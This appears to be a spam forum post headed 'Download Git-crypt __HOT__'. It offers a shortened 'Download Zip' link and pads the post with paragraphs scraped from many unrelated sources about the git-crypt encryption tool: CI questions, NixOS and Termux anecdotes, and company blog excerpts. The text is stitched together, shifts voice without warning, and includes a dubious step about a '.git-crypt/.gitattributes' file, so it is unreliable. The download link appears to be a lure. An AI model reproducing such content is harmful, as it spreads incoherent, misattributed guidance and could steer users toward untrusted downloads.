Download Git-crypt __HOT__

9 views
Skip to first unread message

George Bignell

unread,
Jan 21, 2024, 9:42:20 AM1/21/24
to ilenagpe

I'm using a CI build that downloads a zip archive from github. At build time, I need to decrypt a file that has been encrypted with git-crypt using gpg. However, the CI build cannot decrypt the files because it is not a cloned directory tree and thus I cannot run 'git crypt unlock'.

download git-crypt


Download Zip ——— https://t.co/5vthyP7aBE



This command creates a copy of the git-crypt symmetric key that was generated for this repository. We're putting it in the directory above this repository so that we can re-use the same key across multiple git repositories.

It can be easy to make a mistake in your .gitattributes file if you're trying to protect several files with a single pattern entry. So, I strongly recommend reading this section of the git-crypt README, which highlights some of the common gotchas.

The git-crypt-key the file is very important. Without it, you won't be able to decrypt any of the encrypted files in your repository. Anyone who has a copy of that file has access to all of the encrypted secrets in your repository. So you need to keep that file safe and secure.

We used git-crypt init and git-crypt export-key to create our git-crypt-key file. But, if we have to have a separate key file for each of our repositories, then we haven't improved our secret management very much.

Rather than managing your git-crypt key file directly, there is a better way to manage encrypted repositories by integrating git-crypt with gpg, so that you can use your gpg private key to decrypt the git repository. This also allows you to add multiple collaborators to a git repository without transmitting any secrets between the parties. However, this requires a more complicated setup, so we'll save that for another article.

This file is called wifi.nix and was just listed in the modules = [ ] list in my nixos flake. And this file was encrypted via git-crypt. Currently this file is in a private repository and is imported from a flake input.

I did not avoid the decrypted secrets being copied to the nix store. I had an encrypted nix file that was decrypted by git-crypt and only then copied to the nix store. And I was already using flakes at that point. Only after nix changed the copying mechanism upstream the nix file got copied into the nix store encrypted and my build broke.

Unfortunately I could not find a good windows option for git-crypt. I tried to change the used git exe via the settings to wslgit ( -5/wslgit) that uses the Linux binary but manages the paths. However, Sublime Merge does not work with it for me. Does it work for anyone?

I have some secrets that I store in a text file that is encrypted with git-crypt and committed to Git. This lets me share these secrets with other trusted people or across several development computers even if the Git repo is public. The current workflow on a development computer is to unlock the encrypted text file, load the contents into environment variables, and then run the app or deploy it.

git-crypt
I found git-crypt, but on the site it is mentioned that it's intended for single file encryption. If one wanted to encrypt the whole repository they forward to git-remote-gcrypt.

git-crypt enables transparent encryption and decryption of files in a git repository. Files which you choose to protect are encrypted when committed, and decrypted when checked out. git-crypt lets you freely share a repository containing a mix of public and private content. git-crypt gracefully degrades, so developers without the secret key can still clone and commit to a repository with encrypted files. This lets you store your secret material (such as keys or passwords) in the same repository as your code, without requiring you to lock down your entire repository.

We have a secret file to add, we don't want this secret to be readable by everyone having access to this repository, but we want to share and historise this secret with a group of special users. To do that we can use git-crypt.

We need to copy the git-crypt-key file into termux. I zipped it, uploaded it to a safe space, and used Chrome on Android to download it. So my downloads folder contained git-crypt-key.zip. So in termux, I typed:

If you need to add more files in the future, first update .gitattributes adding their relative path followed by the filter=git-crypt diff=git-crypt string and commit it, then git add your sensitive files and commit them. git-crypt will handle encryption (at commit) and decryption (e.g. during diffs) transparently. Just be sure the repository is unlocked when you perform those actions.

Create a .gitattributes file in your repo. Ensure that you update .gitattributes with the name of file to be encrypted. Now, update the to-be encrypted files and do git add, git commit & git push. Visit your github repo on your browser, to view the encrypted files. You can also use git-crypt status to quickly check the status of all the files.

Vault is simple enough, but an overkill for projects like mine. In my case, Iam using some basic Ansible Playbooks, and have a Vault instance available atany time just for a personal script is a bad idea: It is a slippery slope towasting time maintaining, upgrading and safeguarding a server for somethingthat can be simplified. When working alone, HashiCorp Vault can be overengineering and I would prefer to use something simpler like git-crypt.

A way that I have explored in the past was withgit-crypt. It is a smart way to encryptand decrypt a file: It uses GPG/PGP keys and git filters to transparentlymanage secrets. Once initialize, it feels like if it is not there: files arestored locally in plain text, and encrypted right before commits.

With git-crypt, could argue that the files are encrypted and safe in thehistory, but if the encryption keys are compromised, any effort to keepeverything safe is valiant. The reason is that git-crypt uses GPG keys toshare a common encription key used to encrypt everything it tracks:

Mozilla SOPS sits in the middle. The way it works is similar to git-crypt, butthe data is encrypted and stored in a way so that multiple entities can decrypt,including PGP Keys, HashiCorp Vault, age, and Cloud KMS solutions.

Every file will be encrypted with its key, and keys can be rotated if needed(though remember the old version will stay in git history!). The file will notbe decrypted like git-crypt does out of the box, and some scripting might beneeded.

git-crypt operates by encrypting a subset of files in a repository usinggpg. The files are encrypted withAES, using a keywhich is shared by the collaborators who have access to the encrypted files. Thesymmetric AES key is in turn encrypted using the public key of each collaboratorand stored in a hidden git-crypt data folder. In the current version ofgit-crypt the encrypted keys are stored in.git-crypt/keys/key name/version/public key fingerprint.gpg.

Looking for an alternative tool to replace git-crypt? During the review of git-crypt we looked at other open source tools. Based on their category, tags, and text, these are the ones that have the best match.

Until this issue is fixed, I put together a script to automate the procedure.The script will de-initialize git-crypt from the repository, completely removethe git-crypt keys and users. Then it will re-encrypt the repository and re-addall the keys (users) expect the one requested to be removed.

git-crypt is a git extension thatcan transparently encrypt files before they get committed to git, and decryptthem after they get checked out from git. You tell it which files to encryptusing .gitattributes files, so you can mix encrypted and unencrypted filesin the same git repo. It will even store encrypted diffs when you changeencrypted files, so you can still see line-by-line diffs of encrypted contentwith git log -p.

Here at Bonito Tech, we use git-crypt for secret storage. It is an open-source encryption tool for git repositories. It leverages GPG (GNU Privacy Guard) to securely store sensitive data in the repository. With git-crypt, developers can store private keys, passwords, and other confidential information in their repository without compromising security.

With the proper steps outlined above, git-crypt can be set up on Windows without any issues. It is a great tool for securely storing confidential details and can be a great addition to your git workflow.

3. Create a .git-crypt/.gitattributes File: Specify which files or directories you want to encrypt by creating a .git-crypt/.gitattributes file. You can use patterns or list individual files to encrypt.

At SPINEN, we use a tool called git-crypt to encrypt sensitive files in git repositories. This allows us to use our normal distribution channel for code to also distribute and share sensitive files. In this post, we give step-by-step instructions on how you can implement this process.

df19127ead
Reply all
Reply to author
Forward
0 new messages